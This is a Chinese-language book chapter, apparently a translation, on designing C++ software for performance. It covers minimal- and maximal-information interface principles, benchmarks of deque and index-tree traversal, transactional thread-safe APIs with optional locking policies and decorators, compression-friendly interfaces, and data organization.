良好的设计是否有助于实现良好的性能,还是偶尔需要妥协最佳设计实践以实现最佳性能?这些问题在编程社区中争论不休。通常,设计传道者会认为,如果你认为你需要在良好的设计和良好的性能之间做出选择,那么你的设计还不够好。另一方面,黑客(我们在这里使用这个术语是指传统意义上的,即拼凑解决方案的程序员,与犯罪无关)经常将设计准则视为对最佳优化的限制。

本章的目的是要表明这两种观点在一定程度上都是有效的。但如果将它们视为“全部真相”,那也是错误的。否认许多设计实践在应用于特定软件系统时可能会限制性能是不诚实的。另一方面,许多实现和维护高效代码的指导方针也是可靠的设计建议,可以改善性能和设计质量。

我们对设计和性能之间的紧张关系持更加细致的观点。对于特定系统(你最感兴趣的是你的系统,你现在正在工作的那个系统),一些设计准则和实践确实可能导致低效和性能不佳。我们很难找到一个设计规则总是与效率相对立的例子,但对于特定系统,也许在某些特定情境下,这些规则和实践是相当普遍的。如果你采用了遵循这些规则的设计,你可能会将低效嵌入到软件系统的核心架构中,而要通过“优化”来纠正将会非常困难,除非对程序的关键部分进行全面重写。任何否认或淡化这种潜在严重性的人都不是为你着想。另一方面,任何声称这正好证明了放弃可靠的设计实践的人都是在提出错误、过于简化的选择。

如果你意识到某种设计方法遵循了良好的实践,提高了清晰度和可维护性,但降低了性能,正确的反应是选择另一种同样良好的设计方法。换句话说,虽然发现一些良好的设计会导致性能不佳是很常见的,但对于给定的软件系统来说,几乎不可能每种良好的设计都会导致低效。你需要做的就是从几种可能的高质量设计中选择一个也能实现良好性能的设计。

当然,这说起来容易做起来难,但希望这本书能够帮助你。在本章的其余部分,我们将专注于问题的两个方面。首先,当性能成为一个问题时,建议采用哪些设计实践?其次,当我们没有可以运行和测量的程序,而只有(可能不完整的)设计时,我们如何评估可能的性能影响?

如果你仔细阅读了最后两段,你会发现性能是一个设计考虑因素:就像我们在设计中考虑到"支持多用户"或"在磁盘上存储几千兆字节的数据"等需求一样,性能目标也是需求的一部分,应该在设计阶段明确考虑。这将引导我们到设计高性能系统的关键概念,即...

为性能而设计

正如我们所说,性能是设计目标之一,与其他约束和要求同等重要。因此,对于"这种设计导致性能不佳"的问题,答案与如果问题是"这种设计没有提供我们需要的功能"是一样的。在这两种情况下,我们需要不同的设计,而不是更糟糕的设计。我们只是更习惯于根据设计的功能而不是速度来评估设计。

为了帮助你在第一次尝试时选择促进性能的设计实践,我们现在将介绍几条专门针对良好性能的设计指导原则。它们也是坚实的设计原则,有很好的理由去接受它们:遵循这些指导原则不会使你的设计变得更糟。

前两条指导原则涉及设计中不同组件(函数、类、模块、进程、任何组件)的交互。首先,我们建议这些交互传递的信息尽可能少,整个系统仍然能够正常运行。其次,我们建议不同的组件向彼此提供关于交互预期结果的尽可能多的信息。如果你认为这是一个矛盾,你是完全正确的。设计往往是解决矛盾的艺术,你要做的是:这两种矛盾的陈述都是正确的,只是不是在同一时间或同一地点。接下来的内容将很好地说明了这一(更一般的)管理设计中矛盾的技术。

最小信息原则

让我们从第一个指导原则开始:尽可能少地传递信息。这里上下文非常重要:具体来说,我们建议一个组件尽可能少地透露关于如何处理特定请求的信息。组件之间的交互受合同约束。当我们谈论类和函数的接口时,我们习惯于这个想法,但它是一个更广泛的概念。例如,用于两个进程之间通信的协议就是一个合同。

在任何这样的接口或交互中,做出并实现承诺的一方不得主动提供任何额外信息。让我们看一些具体的例子。我们将从实现基本队列的类开始,并问自己,从效率的角度来看,什么样的接口是良好的?

其中一个方法允许我们检查队列是否为空。请注意,调用者并没有询问队列有多少元素,只是询问它是否为空。虽然队列的一些实现可能会缓存大小并将其与零进行比较来解决这个请求,但对于其他实现来说,确定队列是否为空可能比计算元素更有效。合同说,“如果队列为空,我将返回 true。”即使你认为你知道大小,也不要做出任何额外的承诺:不要自愿提供任何未被请求的信息。这样,你就可以自由地更改你的实现。

同样,入队和出队的方法应该只保证一个新元素被添加到队列中或从队列中移除。对于从队列中弹出一个元素,我们必须处理空队列的情况,或者声明这样的尝试的结果是未定义的(STL 选择的方法)。你可能注意到,到目前为止,STL 队列展现出了一个优秀的接口,从效率的角度来看:它满足了队列数据结构的合同,而没有透露任何不必要的细节。特别是,std::queue是一个适配器,可以在几种容器之上实现。队列可以作为向量、双端队列或列表实现的事实告诉我们,接口正在很好地隐藏实现的细节。

作为接口泄露太多实现信息的相反例子,考虑另一个 STL 容器,无序集合(或映射)。std::unordered_set容器具有一个接口,允许我们插入新元素并检查给定值是否已经在集合中(到目前为止,一切都很好)。根据定义,它缺乏元素的内部顺序,并且标准提供的性能保证清楚地表明数据结构使用了哈希。因此,明确涉及哈希的接口部分不能被视为多余的:特别是需要指定一个用户给定的哈希函数。但接口进一步提供了诸如bucket_count()之类的方法,暴露了底层实现必须是一个用于解决哈希冲突的分离链接哈希表的桶。因此,不可能使用开放寻址哈希表来创建一个完全符合 STL 的无序集合。这个接口限制了实现,可能会阻止你使用更有效的实现。

在我们用类设计简单示例时,同样的原则可以应用于更大模块的 API、客户端-服务器协议以及系统组件之间的其他交互:在设计响应请求或提供服务的组件时,提供简洁的合同,只透露请求者所需的信息,而不透露其他信息

揭示最少信息或最少承诺的设计准则本质上是类接口的一个流行准则的概括:接口不应该透露实现。此外,要考虑到,纠正这一准则的违反将会非常困难:如果你的设计泄漏了实现细节,客户端将依赖于它们,并且一旦你改变了实现,就会出现问题。因此,到目前为止,为性能而设计与一般的良好设计实践是一致的。在下一个准则中,我们开始暴露不同设计目标之间的紧张关系以及相应的最佳实践。

最大信息原则

虽然满足请求的组件应该避免不必要地透露可能限制实现的任何内容,但对于发出请求的组件来说情况正好相反。请求者或调用者应该能够提供关于需要的具体信息。当然,只有在有适当的接口时,调用者才能提供这些信息,因此我们真正要说的是接口应该被设计成允许这样的“完整”请求。

特别是,为了提供最佳性能,了解请求背后的意图通常很重要。再举一个例子应该更容易理解这个概念。

让我们从一个随机访问序列容器开始。随机访问意味着我们可以访问容器的任意第 i 个元素,而不需要访问任何其他元素。通常的做法是使用索引运算符:

T& operator[](size_t i) { return … i-th element …; }

使用这个运算符,我们可以,例如,遍历容器:

container<T> cont;
… add some data to cont …
for (size_t i = 0; i != cont.size(); ++i) {
  T& element_i = cont[i];
  … do some work on the i-th element …
}

从效率的角度来看,这并不是最佳方式:我们使用随机访问迭代器进行顺序迭代。通常,当你使用更强大或更有能力的接口,但只利用其能力的一小部分时,你应该关注效率:这个接口的额外灵活性可能是以一些性能为代价的,如果你不使用这些功能,你就在浪费。

我们不必走得太远来举例。让我们考虑std :: deque:它是一个支持随机访问的块分配容器。为了访问任意元素i,我们必须首先计算包含该元素的块(通常是模运算)和块内元素的索引,然后在辅助数据结构(块指针表)中找到块的地址并索引到块内。即使在大多数情况下,元素将驻留在同一个块中,我们已经知道它的地址,这个过程也必须重复进行下一个元素。这是因为对任意元素的请求没有足够的信息:没有办法表达我们很快会要求下一个元素。因此,deque 无法以最有效的方式处理遍历。

扫描整个容器的另一种方法是使用迭代器接口:

for (auto it = cont.begin(); it != cont.end(); ++it) {
  T& element = *it;
  … do some work on the element …
}

deque 的实现者可以假设增加(或减少)迭代器是一个经常执行的操作。因此,如果你有一个迭代器it并访问相应的元素*it,很可能你会要求下一个元素。deque 迭代器可以存储块指针或块指针表中正确条目的索引,这将使得在一个块内访问所有元素更加便宜。通过简单的基准测试,我们可以验证确实使用迭代器遍历 deque 比使用索引要快得多:

void BM_index(benchmark::State& state) {
     const unsigned int N = state.range(0);
     std::deque<unsigned long> d(N);
     for (auto _ : state) {
           for (size_t i = 0; i < N; ++i) {
                 benchmark::DoNotOptimize(d[i]);
           }
           benchmark::ClobberMemory();
     }
     state.SetItemsProcessed(N*state.iterations());
}
void BM_iter(benchmark::State& state) {
     const unsigned int N = state.range(0);
     std::deque<unsigned long> d(N);
     for (auto _ : state) {
           for (auto it = d.cbegin(), it0 = d.cend(); 
                  it != it0; ++it) {
                 benchmark::DoNotOptimize(*it);
           }
           benchmark::ClobberMemory();
     }
     state.SetItemsProcessed(N*state.iterations());
}

结果显示了非常显著的性能差异:

图 12.1 - 使用索引与迭代器遍历 std :: deque

图 12.1 - 使用索引与迭代器遍历 std :: deque

非常重要的一点是要指出设计性能和优化性能之间的关键区别。不能保证迭代器访问 deque 更快:特定的实现实际上可能使用索引运算符来实现迭代器。这样的保证只能来自优化的实现。在本章中,我们对设计感兴趣。设计实际上不能真正被“优化”,尽管,如果你谈论一个“高效的设计”,其他人可能会理解你的意思。设计可以允许或阻止某些优化,因此更准确地谈论“性能敌意”和“性能友好”设计(后者通常被称为高效设计)。

在我们的 deque 示例中,索引操作符接口对于随机访问来说是尽可能高效的,并且将顺序迭代视为随机访问的一种特殊情况。调用者无法说,“我可能会要求下一个相邻的元素。”相反,从迭代器的存在中,我们可以推断出它可能会被递增或递减。实现可以使这个增量操作更有效。

让我们进一步考虑我们的容器示例。这一次,我们考虑一个自定义容器,它基本上像一棵树一样运作,但与std::set不同的是,我们不在树节点中存储值。相反,我们将值存储在序列容器(数据存储)中,而树节点包含对该容器元素的指针。树本质上是数据存储的索引,因此它需要一个自定义比较函数:我们想要比较值,而不是指针。

template<typename T> struct compare_ptr {
  bool operator()(const T* a, const T* b) const {
     return *a < *b;
  }
};
template <typename T> class index_tree {
  public:
  void insert(const T& t) { 
     data_.push_back(t);
     idx_.insert(&(data_[data_.size() - 1]));
  }
  private:
  std::set<T*, compare_ptr<T>> idx_;
  std::vector<T> data_;
};

当插入新元素时,它被添加到数据存储的末尾,而指针被添加到索引的适当位置,由元素的比较来确定。为什么我们会选择这样的实现而不是std::set?在某些情况下,我们可能有要求迫使我们这样做:例如,数据存储可能是磁盘上的内存映射文件。在其他情况下,尽管乍一看,额外的内存使用和通过指针间接访问元素可能会降低性能,但我们可能会选择这种实现以获得性能优势。

为了看到这个索引树容器的性能优势,让我们来检查一下执行搜索满足给定谓词的元素的操作。假设我们的容器提供了迭代器,这样搜索就很容易进行;解引用操作符应该返回索引元素,而不是指针:

template <typename T> class index_tree {
  using idx_t = typename std::set<T*, compare_ptr<T>>;
  using idx_iter_t = typename idx_t::const_iterator;
  public:
  class const_iterator {
     idx_iter_t it_;
     public:
     const_iterator(idx_iter_t it) : it_(it) {}
     const_iterator operator++() { ++it_; return *this; }
     const T& operator*() const { return *(*it_); }
     friend bool operator!=(const const_iterator& a,
                            const const_iterator& b) {
        return a.it_ != b.it_;
     }
  };
  const_iterator cbegin() const { return idx_.cbegin(); }
  const_iterator cend() const { return idx_.cend(); }
  …
};

为了确定容器中是否存储了满足某些要求的值,我们可以简单地遍历整个容器,并为每个值检查谓词:

template <typename C, typename F> bool find(const C& c, F f) {
  for (auto it = c.cbegin(), i0 = c.cend(); it != i0; ++it) {
     if (f(*it)) return true;
  }
  return false;
}

当我们使用迭代器访问容器时,我们向容器提供了哪些信息,就像刚才做的那样?和以前一样,我们告诉它我们打算每次访问下一个元素。我们没有告诉它我们这样做的原因。意图重要吗?在这种情况下,非常重要。仔细看看我们真正需要做的事情:我们需要访问容器中的每个元素,直到找到满足给定条件的元素。如果这似乎是在重复同样的事情,那么你还不够迂腐。在这个需求陈述中,我们从未说过我们想要按顺序访问容器元素,只是我们需要遍历所有元素。如果我们有一个 API 调用,告诉容器检查所有元素,但不需要任何特定顺序,那么容器的实现将可以优化访问顺序。对于我们的索引容器,最佳访问顺序是遍历数据存储向量本身:这提供了最佳的内存访问模式(顺序访问)。在我们的情况下,存储中元素的实际顺序是它们被添加的顺序,但这并不重要:我们要求返回的只是一个布尔值;我们甚至不问匹配元素位于何处。换句话说,虽然可能有多个满足条件的元素,但调用者想知道是否至少存在一个这样的元素。我们没有要求元素的值或任何特定的元素:这是“找到任何一个”的请求,而不是“找到第一个”。

以下是允许调用者提供所有相关信息和可能的实现的接口版本:

template <typename T> class index_tree {
  …
  template <typename F> bool find(F f) const {
     for (const T& x : data_) {
        if (f(x)) return true;
     }
     return false;
  }
};

它更快吗?再次,基准测试可以回答。如果值未找到或很少找到,则差异更加显著:

图 12.2 - 使用迭代器在索引数据存储中搜索 vs. find()成员函数

图 12.2 - 使用迭代器和 find()成员函数在索引数据存储中进行搜索

再次强调,重要的是退一步,重新评估这个例子作为软件设计的教训,而不是特定的优化技术。在这种情况下,在设计阶段重要的不是我们的find()成员函数比基于迭代器的搜索快多少。重要的是在适当的实现下它可能会更快。它可能更快的原因是调用者意图的了解。

比较调用者使用非成员和成员find()时提供的信息。当非成员find()函数调用容器接口时,我们告诉容器,“让我看到所有容器元素的值,一个接一个地,按顺序。”实际上我们并不需要大部分这些信息,但这是我们通过迭代器接口传递的唯一信息。另一方面,成员find()允许我们提出以下请求:“以任何顺序检查所有元素,并告诉我是否至少有一个与这个条件匹配。”这个请求施加了更少的限制:这是一个高级请求,将细节留给容器本身。在我们的例子中,实现者利用了这种自由来提供更好的性能。

在设计阶段,您可能不知道这样优化的实现是可能的。成员find()的第一个实现可能会运行迭代器循环或调用std::find_if。您可能永远也不会优化这个函数,因为在您的应用程序中,它很少被调用,也不是性能瓶颈。但软件系统往往比您预期的寿命更长,基本的重新设计是困难且耗时的。一个良好的系统架构不应该限制系统的演变,有时可能会持续数年,甚至几十年,即使添加了新功能并且性能要求发生变化。

再次,我们看到了友好性能和敌对性能设计之间的差异。同样的原则当然也适用于系统组件之间的交互,并不仅限于类:在设计响应请求或提供服务的组件时,允许请求者提供所有相关信息,特别是表达请求背后的意图。

这是一个更有争议的准则,有几个原因。首先,它明确违反了类设计的流行方法:不要为不需要特权访问并且可以完全通过现有公共 API 实现的任务实现(公共)成员函数。我们可以从几个方面来推理。首先,有人可能会说,“可以实现十倍慢”并不真正符合“可以实现”,因此该准则不适用。反驳的观点是,在设计阶段,您甚至可能不知道您需要这种性能。我们可能违反的另一个重要规则是“不要过早优化”,尽管这个规则不应该被简单地理解:特别是,这个规则的合理支持者经常会补充说,“但也不要过早悲观”。在设计的背景下,后者意味着做出削减未来优化机会的设计决策。

因此,使用最大信息原则(或信息丰富接口)是一种平衡和明智判断的问题。请考虑,一般来说,违反这一指导方针并不像不遵循前一条规则那样有害:如果你的接口或合同暴露了不必要的信息,很难从所有依赖它的客户那里收回。另一方面,如果你的接口不允许客户端提供相关意图信息,客户端可能会被迫使用低效的实现。但在以后添加更丰富信息的接口后,没有什么会出错,客户端可以根据需要过渡到这个接口。

关于是否在一开始提供更丰富的信息界面的决定,取决于几个因素:

  • 这个组件或组件之间的交互是否可能成为性能关键因素?虽然猜测特定代码的性能是不鼓励的,但通常你知道相关组件的一般要求:每秒访问数百万次的数据库很可能在某个地方成为性能瓶颈,而为每月发放工资的员工地址服务的系统可以保守设计,并在需要时进行优化。

  • 这个设计决定的影响有多大?特别是,如果低效的实现蔓延开来,当我们添加新的高级接口时,它会有多根深蒂固?一个只使用一两次的类可以很容易地与其客户端一起更新;一个将成为整个系统标准并将在 restful API 中使用的通信协议,可以在开始时就内置可扩展性,包括未来信息丰富请求的选项。

通常,这些选择并不是明确的,而是依赖于设计师的直觉和知识经验。这本书可以帮助前者,而实践则照顾后者。

正如你在本节中看到的那样,当考虑不同设计决策的性能影响时,我们经常关注接口和数据组织。在接下来的两节中,我们将专门讨论这两个主题,首先是接口设计。

API 设计考虑

有许多书籍和文章介绍了 API 设计的最佳实践。它们通常侧重于可用性、清晰度和灵活性。常见的指导方针,如“使接口清晰易于正确使用”和“使滥用接口变得困难”,虽然不直接涉及性能,但也不会干扰促进良好性能和效率的实践。在前一节中,我们已经讨论了设计性能接口时应记住的两个重要指导方针。在本节中,我们将探讨一些更具体的指导方针,专门针对性能。许多高性能程序依赖并发执行,因此首先应考虑并发设计。

并发 API 设计

设计并发组件及其接口的最重要规则是提供清晰的线程安全保证。注意,“清晰”并不意味着“强大”:事实上,为了获得最佳性能,通常最好在低级接口上提供较弱的保证。STL 选择的方法是一个很好的示范:所有可能改变对象状态的方法都提供弱保证:只要一个线程在任何时候使用容器,程序就是定义良好的。

如果您想要更强的保证,可以在应用程序级别使用锁。一个更好的做法是创建自己的锁定类,为您想要的接口提供强有力的保证。有时,这些类只是锁定装饰器:它们在锁中包装被装饰对象的每个成员函数。更常见的情况是,有多个操作必须由单个锁保护。

为什么?因为允许客户端在“一半”操作完成后看到特定的数据结构是没有意义的。这带我们得出一个更一般的观察:作为规则,线程安全的接口也应该是事务性的。组件(类、服务器、数据库等)的状态在进行 API 调用之前和之后应该是有效的。接口合同承诺的所有不变量都应该得到维护。在执行请求的成员函数(对于类)期间,对象很可能经历了一个或多个状态,这些状态在客户端看来不被视为有效:它不维护指定的不变量。接口应该使另一个线程不可能观察到对象处于这种无效状态。让我们举个例子来说明。

回想一下我们在上一节中的索引树。如果我们想要使这棵树线程安全(这是提供强有力保证的简写),我们应该使插入新元素即使在同时从多个线程调用时也是安全的:

template <typename T> class index_tree {
  public:
  void insert(const T& t) {
     std::lock_guard guard(m_);
     data_.push_back(t);
     idx_.insert(&(data_[data_.size() - 1]));
  }
  private:
  std::set<T*, compare_ptr<T>> idx_;
  std::vector<T> data_;
  std::mutex m_;
};

当然,其他方法也必须受到保护。显然,我们不希望单独锁定push_back()insert()调用:客户端如何处理一个在数据存储中有新元素但在索引中没有的对象?根据我们的接口,甚至不定义这个新元素是否在容器中:如果我们使用迭代器扫描索引,它不在,但如果我们使用find()扫描数据存储,那么它在。这种不一致告诉我们,索引树容器的不变量在插入的中间之前和之后得到维护,但在中间没有。因此,非常重要的是,没有其他线程能看到这样一个不明确的状态。我们通过确保接口既是线程安全又是事务性来实现这一点。同时调用多个成员函数是安全的;一些线程将阻塞并等待其他线程完成它们的工作,但不会产生未定义的行为。每个成员函数将对象从一个明确定义的状态移动到另一个明确定义的状态(换句话说,它执行一个事务,比如添加一个新元素)。这两个因素的结合使得对象可以安全使用。

如果您需要一个反例(在设计并发接口时不应该做什么),请回想一下第七章中对std::queue的讨论,并发数据结构。从队列中移除元素的接口不是事务性的:front()返回前面的元素但不移除它,而pop()移除前面的元素但不返回任何东西,如果队列为空,两者都会产生未定义的行为。单独锁定这些方法对我们没有好处,因此线程安全的 API 必须使用我们在第七章中考虑过的方法之一,并发数据结构,来构建一个事务并用锁保护它。

现在我们转向效率:正如您所看到的,如果作为容器构建块的个别对象自行进行锁定,对我们没有好处。想象一下如果std::deque<T>::push_back()本身由锁保护。这将使 deque 线程安全(当然假设其他相关方法也被锁定)。但这对我们没有好处,因为我们仍然需要用锁保护整个事务。它只是浪费了一些时间来获取和释放我们不需要的锁。

另外,请记住,并非所有数据都在同时访问。在设计良好的程序中,最大程度地减少共享状态的数量,大部分工作是在特定于线程的数据上进行的(对象和其他数据是专门针对一个线程的),对共享数据的更新相对不频繁。专门针对一个线程的对象不应该承担锁定或其他同步的开销。

现在似乎我们有一个矛盾:一方面,我们应该设计我们的类和其他组件具有线程安全的事务性接口。另一方面,我们不应该给这些接口增加锁定或其他同步机制,因为我们可能正在构建自己的锁定的更高级组件。

解决这一矛盾的一般方法是两者兼顾:提供可以用作更高级组件构建块的非锁定接口,并在有意义的地方提供线程安全接口。通常,后者是通过使用锁定保护来实现的。当然,这必须在合理范围内完成。首先,任何非事务性接口都专门用于单线程使用或用于构建更高级别的接口。无论哪种方式,它们都不需要被锁定。其次,有些组件和接口在特定设计中只在狭窄的上下文中使用。也许一个数据结构是专门为在每个线程上分别进行的工作而设计的;同样,没有理由为其添加并发的开销。一些组件可能是设计上仅用于并发使用的,并且是顶层组件-它们应该具有线程安全的事务性接口。这仍然留下许多类和其他组件,它们很可能以两种方式使用,并且需要锁定和非锁定的变体。

基本上有两种方法可以解决这个问题。第一种是设计一个单一组件,如果需要可以使用锁定,例如:

template <typename T> class index_tree {
  public:
  explicit index_tree(bool lock) : lock_(lock) {}
  void insert(const T& t) {
     optional_lock_guard guard(lock_ ? &m_ : nullptr);
     …
  }
  private:
  …
  std::mutex m_;
  const bool lock_;
};

为了使其工作,我们需要一个条件lock_guard。可以使用std::optionalstd::unique_ptr构造一个,但这样做既不优雅又低效。编写类似于std::lock_guard的自己的 RAII 类要容易得多:

template <typename L> class optional_lock_guard {
  L* lock_;
  public:
  explicit optional_lock_guard(L* lock) : lock_(lock) {
     if (lock_) lock_->lock();
  }
  ~optional_lock_guard() {
     if (lock_) lock_->unlock();
  }
  optional_lock_guard(const optional_lock_guard&) = delete;
  // Handle other copy/move operations.
};

除了不可复制,std::lock_guard也是不可移动的。您可以遵循相同的设计或使您的类可移动。对于类,您通常可以在编译时处理锁定条件,而不是在运行时。这种方法使用基于策略的设计与锁定策略:

template <typename T, typename LP> class index_tree {
  public:
  void insert(const T& t) {
     LP guard;
     …
  }
};

我们应该至少有两个版本的锁定策略LP

struct locking_policy {
  locking_policy() { m_.lock(); }
  ~locking_policy() { m_.unlock(); }
  std::mutex m_;
};
struct non_locking_policy {};

现在我们可以创建具有弱或强线程安全性保证的index_tree对象:

index_tree<int, locking_policy> strong_ts_tree;
index_tree<int, non_locking_policy> weak_ts_tree;

当然,这种编译时方法对于类来说效果很好,但可能不适用于其他类型的组件和接口。例如,当与远程服务器通信时,您可能希望在运行时通知它当前会话是共享的还是独占的。

第二个选项是我们之前讨论过的,即锁定装饰器。在这个版本中,原始类(index_tree)只提供弱线程安全性保证。强保证由这个包装类提供:

template <typename T> class index_tree_ts :
  private index_tree<T> 
{
  public:
  using index_tree<T>::index_tree;
  void insert(const T& t) {
     std::lock_guard guard(m_);
     index_tree<T>::insert(t);
  }
  private:
  std::mutex m_;
};

请注意,尽管封装通常优于继承,但继承的优势在于我们可以避免复制装饰类的所有构造函数。

相同的方法可以应用于其他 API:一个显式参数来控制锁定与装饰器。使用哪种取决于您设计的具体情况-它们都有其优缺点。请注意,即使与特定 API 调用的工作相比,锁定的开销微不足道,也可能有充分的理由避免不必要的锁定:特别是,这种锁定大大增加了应该经过审查可能发生死锁的代码量。

请注意,所有线程安全接口应该是事务性的准则与设计异常安全或更一般地说是错误安全接口的最佳实践之间有很多重叠。后者更为复杂,因为我们不仅要保证在调用接口之前和之后系统处于有效状态,还要保证在检测到错误后系统仍然处于良好定义的状态。

从性能的角度来看,错误处理本质上是额外开销:我们不希望错误发生频繁(否则,它们实际上不是错误,而是我们必须处理的经常发生的情况)。幸运的是,编写错误安全代码的最佳实践,比如使用 RAII 对象进行清理,也非常高效,很少会带来重大开销。然而,一些错误条件很难可靠地检测,正如我们在《第十一章》中所见,未定义行为和性能

在本节中,我们学到了设计高效并发 API 的几个准则:

  • 用于并发使用的接口应该是事务性的

  • 接口应该提供最低必要的线程安全保证(对于不打算同时使用的接口,提供弱保证)。

  • 对于既用作客户可见 API 又用作更高级组件的构建块的接口,这些组件创建自己的更复杂的事务并提供适当的锁定,通常希望有两个版本:一个具有强线程安全保证,另一个具有弱线程安全保证(或者,有锁和无锁)。这可以通过条件锁定或使用装饰器来实现。

这些准则在设计健壮和清晰的 API 方面与其他最佳实践基本一致。因此,我们很少需要做设计权衡以实现更好的性能。

现在让我们离开并发问题,转向性能设计的其他领域。

复制和发送数据

这个讨论将是我们在《第九章》中涵盖的事项的概括,高性能 C++,当我们谈论不必要的复制时。使用任何接口,不仅仅是 C++函数调用,通常涉及发送或接收一些数据。这是一个非常普遍的概念,我们无法提供任何普遍适用的具体准则,除了同样普遍的“注意数据传输的成本”。我们可以为一些常见类型的接口稍作详细说明。

我们已经讨论了在 C++中复制内存的开销以及接口的相关考虑。我们在《第九章》中介绍了实现技术,高性能 C++。对于设计,我们可以强调一个通常重要的准则:拥有明确定义的数据所有权和生命周期管理。它在性能的背景下出现的原因是,通常过多的复制是混乱所有权的副作用,是一个解决数据在仍在使用时消失的问题的权宜之计,因为复杂系统的许多部分的生命周期并不被充分理解。

在分布式程序、客户端-服务器应用程序或者一般情况下,任何组件之间的接口都需要处理一组非常不同的问题,其中带宽限制很重要。在这些情况下,通常会使用数据压缩:我们用 CPU 时间来换取带宽,因为压缩和解压数据需要处理时间,但传输速度会更快。通常在设计时无法决定是否在特定通道压缩数据:我们根本不知道足够的信息来做出明智的权衡。因此,设计系统以允许压缩的可能性非常重要。这对于设计可能转换为压缩格式的数据结构的接口有一些非常重要的影响。如果您的设计要求压缩整个数据集,传输它,然后将其转换回解压缩格式,那么您用于处理数据的接口不会改变,但内存需求会增加,因为您将在某个时候在内存中存储压缩和未压缩的表示。另一种选择是在内部存储压缩数据的数据结构,在设计其接口时需要一些深思熟虑。

举个例子,假设我们有一个简单的结构用于存储三维位置和一些属性:

struct point {
  double x, y, z;
  int color;
  … maybe more data …
};

一个非常流行的准则说,我们应该避免只是访问相应数据成员的 getter 和 setter 方法;我们被劝阻这样做:

class point {
  double x, y, z;
  int color;
  public:
  double get_x() const { return x; }
  void set_x(double x_in) { x = x_in; } // Same for y etc
};

我们将这些对象存储在一个点的集合中:

class point_collection {
  point& operator[](size_t i);
};

这种设计在一段时间内为我们提供了良好的服务,但需求发生了变化,现在我们必须存储和传输数百万个点。很难想象我们如何在这个接口中引入内部压缩:索引运算符返回一个必须直接访问三个double数据成员的对象的引用。如果我们有 getter 和 setter,我们可能能够将点实现为集合内部压缩点的代理:

class point {
  point_collection& coll_;
  size_t point_id_;
  public:
  double get_x() const { return coll_[point_id_]; }
  …
};

集合存储压缩数据,并且可以动态解压部分数据以访问由point_id_标识的点。

当然,一个更加压缩友好的接口将要求我们按顺序迭代整个点的集合。现在你应该意识到,我们刚刚重新审视了指导我们尽可能少地透露关于我们集合内部工作方式的准则。专注于压缩有助于为我们提供一个特定的观点。如果你考虑数据压缩的可能性,或者一般情况下,用于存储和传输的替代数据表示,你也必须考虑限制对这些数据的访问。也许你可以想出算法,可以在不使用对数据的随机访问的情况下执行所有所需的计算?如果你通过设计限制访问,你就保留了压缩数据的可能性(或以其他方式利用有限访问模式的可能性)。

当然,还有其他类型的接口,它们都有与传输大量数据相关的运行时、内存和存储空间成本。在设计性能时,考虑到这些成本可能成为性能关键点,并尝试限制最大自由度的内部数据表示的接口。当然,像其他任何事情一样,这应该在合理范围内实践;手写的配置文件几乎不可能成为性能瓶颈(计算机读取速度比你以任何格式写入的速度更快)。

我们已经涉及了数据布局对接口设计的影响。现在让我们直接关注数据组织对性能的影响。

为最佳数据访问设计

我们在第四章中详细讨论了数据组织对性能的影响,内存架构和性能。在那里,我们观察到,每当你没有“热代码”时,通常会找到“热数据”。换句话说,如果运行时间分布在代码的大部分部分,并且没有什么突出的优化机会,那么很可能是程序中正在访问的一些数据(一个或多个数据结构)限制了整体性能。

这可能是一个非常不愉快的情况:分析器没有显示出任何可以优化的低 hanging fruit,你可能会发现一些次优化的代码,但测量结果显示,你最多只能从这些地方节省总运行时间的百分之一或两。除非你知道要寻找什么,否则很难找到改进这种代码性能的方法。

既然你知道需要寻找“热数据”,那么该如何做呢?首先,如果所有数据访问都是通过函数调用而不是直接读写公共数据成员,那么这将更容易得多。即使这些访问器函数本身不需要太多时间,你也可以对它们进行仪器化以计算访问操作的次数,这将直接显示哪些数据是热点。这种方法类似于代码分析,只是不是找到执行次数多的指令,而是找到访问次数多的内存位置(一些分析将为你做这些测量,而无需对代码进行仪器化)。再次回到设计准则,规定清晰定义的接口不暴露内部细节,比如内存中的数据布局 - 轻松监视数据访问的能力是这种方法的另一个好处。

我们应该指出,每个设计都关注代码的组织(组件、接口等)和数据的组织。你可能还没有考虑具体的数据结构,但你绝对必须考虑数据流:每个组件都需要一些信息来完成其工作。系统的哪些部分生成这些信息,谁拥有它,谁负责将其传递给需要它的组件或模块?计算通常会产生一些新的信息。同样,它应该被传递到哪里,谁将拥有它?每个设计都包括这样的数据流分析:如果你认为你没有它,那么你是通过接口文档隐式地进行的。信息流及其所有权可以从 API 合同的总体中推断出来,但这是一个相当复杂的方法。

一旦你明确描述了信息流,你就知道了每一步执行中存在的数据,并且被每个组件访问。你还知道了哪些数据必须在组件之间传输。现在你可以考虑组织这些数据的方法了。

在数据组织的设计阶段,您可以采取两种方法。一种方法是依赖接口提供数据的抽象视图,同时隐藏有关其真实组织的所有细节。这是本章一开始的第一个准则,最少信息原则,被推到了极致。如果有效,您可以根据需要稍后实现优化接口后面的数据结构。但警告是很少可能设计一个不以任何方式限制底层数据组织的接口,这样做通常代价高昂。例如,如果您有一个有序的数据集合,您是否希望允许在集合中间进行插入?如果答案是肯定的,数据将不会存储在类似数组的结构中,该结构需要移动一半的元素以在中间开辟空间(对实现的限制)。另一方面,如果您坚决拒绝允许任何限制实现的接口,您最终会得到一个非常有限的接口,并且可能无法使用最快的算法(不早期承诺特定数据组织的成本)。

第二种方法是将至少部分数据组织视为设计的一部分。这将减少实现的灵活性,但会放宽接口设计的一些限制。例如,您可以决定为了按特定顺序访问数据,将使用指向数据元素存储位置的索引。您将把间接访问的成本嵌入系统架构的基础,但会获得数据访问的灵活性:元素可以被最佳地存储,并且可以为任何类型的随机或有序访问构建正确的索引。我们的index_tree就是这种设计的一个简单例子。

请注意,当讨论数据组织如何设计以实现性能时,我们不得不使用一些相当低级的概念。通常像“通过额外指针访问”这样的细节被视为实现问题。但是在设计高性能系统时,您必须关注诸如缓存局部性和间接引用之类的事项。

通常最好的结果是通过结合两种方法:确定最重要的数据并设计出有效的组织方式。当然不是每一个细节,但通常来说,例如,如果您的程序在基本层面上多次搜索许多字符串,您可以决定将所有字符串存储在一个大的连续内存块中,并使用索引进行搜索和其他有针对性的访问。然后您会设计一个高级接口来构建索引并通过迭代器使用它,但这样的索引的确切组织方式留给实现。您的接口会施加一些限制:例如,您可以决定调用者在构建索引时可以请求随机访问或双向迭代器,这反过来会影响实现。

